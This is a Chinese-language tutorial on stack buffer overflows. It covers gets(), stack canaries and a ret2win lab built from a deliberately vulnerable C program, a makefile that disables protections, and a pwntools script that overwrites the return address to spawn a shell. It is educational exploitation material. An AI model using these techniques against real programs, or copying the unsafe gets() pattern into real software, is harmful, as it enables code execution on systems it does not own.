Buffer overflow又稱緩衝區溢位
,主要是由沒有正確處理輸入的長度,導致攻擊者藉由輸入大量的字串,引發程式崩潰,嚴重的話可能會達成RCE
假設我們在local variable發生buffer overflow會發生甚麼?
講一個最經典的: gets(buf)
,這個函式它不會檢查輸入的長度,想要輸入多少就輸入多少,那這樣就會導致segmentation fault (記憶體區段錯誤),不過這個function已經被library給blacklist了,如果要開需要再compiler的時候加上-fno-stack-protector
這個stack上面擺放者著很多local variable
假如我今天輸入64個byte,這樣就只有剛好填滿而已
但是如果我今天輸入很多A呢?
:overflow,把後面的變數也都覆蓋掉
這就意味著我們可以任意控制位於stack上的其他變數
如果我要填成:
int c = 0xdeadbeef
int d = 0xfaceb00c
long e = 0x4141414141414141
也可能做到控制敏感資料的部分
stack上面除了有local variable,由於stack frame的性質,我們會把call到的rbp跟return address放到stack上面
所以:
Canary (stack protector),是一種用來防止buffer overflow的安全機制,它會在function prologue的時候,把一個random的8個bytes放在Saved rbp之前,並且第一個byte都是NULL byte
結構如下:
#include <stdio.h>
void call_me_plz() {
system("/bin/sh");
}
int main() {
char buf[64];
puts("give me your buffer:");
gets(buf);
return 0;
}
保護全關
makefile:
buf:buf.c
gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -fno-pie -no-pie -o buf buf.c
我們可以發現buf的大小是64個byte(蓋到rbp),也就是說我們只要在+8個byte就會蓋到return address
故我們目前payload為 ==> payload = b'a' * 72
接下來我們再objdump -d buf去找call me函式的offset
那這裡我們有兩種選擇
為甚麼會這樣?
from pwn import *
r = process('./buf')
win = 0x40117b
#ret = 0x40101a
r.sendlineafter(b':', b'a' * 72 + p64(win))
r.interactive()
Pwned!